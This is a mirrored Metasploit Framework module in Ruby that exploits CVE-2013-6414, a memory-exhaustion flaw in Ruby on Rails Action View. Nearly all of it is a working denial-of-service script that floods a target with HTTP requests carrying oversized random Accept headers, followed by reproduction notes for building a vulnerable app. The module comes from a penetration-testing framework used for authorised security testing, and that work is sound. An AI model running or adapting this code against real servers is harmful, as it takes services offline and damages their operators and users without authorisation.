CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/http/rails_action_view.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Ruby on Rails Action View MIME Memory Exhaustion',
13
'Description' => %q{
14
This module exploits a Denial of Service (DoS) condition in Action View that requires
15
a controller action. By sending a specially crafted content-type header to a Rails
16
application, it is possible for it to store the invalid MIME type, and may eventually
17
consume all memory if enough invalid MIMEs are given.
18
19
Versions 3.0.0 and other later versions are affected, fixed in 4.0.2 and 3.2.16.
20
},
21
'Author' =>
22
[
23
'Toby Hsieh', # Reported the issue
24
'joev', # Metasploit
25
'sinn3r' # Metasploit
26
],
27
'License' => MSF_LICENSE,
28
'References' =>
29
[
30
[ 'CVE', '2013-6414' ],
31
[ 'OSVDB', '100525' ],
32
[ 'BID', '64074' ],
33
[ 'URL', 'https://seclists.org/oss-sec/2013/q4/400' ],
34
[ 'URL', 'https://github.com/rails/rails/commit/bee3b7f9371d1e2ddcfe6eaff5dcb26c0a248068' ]
35
],
36
'DisclosureDate' => '2013-12-04'))
37
38
register_options(
39
[
40
Opt::RPORT(80),
41
OptString.new('URIPATH', [true, 'The URI that routes to a Rails controller action', '/']),
42
OptInt.new('MAXSTRINGSIZE', [true, 'Max string size', 60000]),
43
OptInt.new('REQCOUNT', [true, 'Number of HTTP requests to pipeline per connection', 1]),
44
OptInt.new('RLIMIT', [true, 'Number of requests to send', 100000])
45
],
46
self.class)
47
end
48
49
def host
50
host = datastore['RHOST']
51
host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80
52
host
53
end
54
55
def long_string
56
Rex::Text.rand_text_alphanumeric(datastore['MAXSTRINGSIZE'])
57
end
58
59
#
60
# Returns a modified version of the URI that:
61
# 1. Always has a starting slash
62
# 2. Removes all the double slashes
63
#
64
def normalize_uri(*strs)
65
new_str = strs * "/"
66
67
new_str = new_str.gsub!("//", "/") while new_str.index("//")
68
69
# Makes sure there's a starting slash
70
unless new_str.start_with?("/")
71
new_str = '/' + new_str
72
end
73
74
new_str
75
end
76
77
def http_request
78
uri = normalize_uri(datastore['URIPATH'])
79
80
http = ''
81
http << "GET #{uri} HTTP/1.1\r\n"
82
http << "Host: #{host}\r\n"
83
http << "Accept: #{long_string}\r\n"
84
http << "\r\n"
85
86
http
87
end
88
89
def run
90
begin
91
print_status("Stressing the target memory, this will take quite some time...")
92
datastore['RLIMIT'].times { |i|
93
connect
94
datastore['REQCOUNT'].times { sock.put(http_request) }
95
disconnect
96
}
97
98
print_status("Attack finished. Either the server isn't vulnerable, or please dos harder.")
99
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
100
print_status("Unable to connect to #{host}.")
101
rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error
102
print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached.")
103
ensure
104
disconnect
105
end
106
end
107
end
108
109
=begin
110
111
Reproduce:
112
113
1. Add a def index; end to ApplicationController
114
2. Add an empty index.html.erb file to app/views/application/index.html.erb
115
3. Uncomment the last line in routes.rb
116
4. Hit /application
117
118
=end
119
120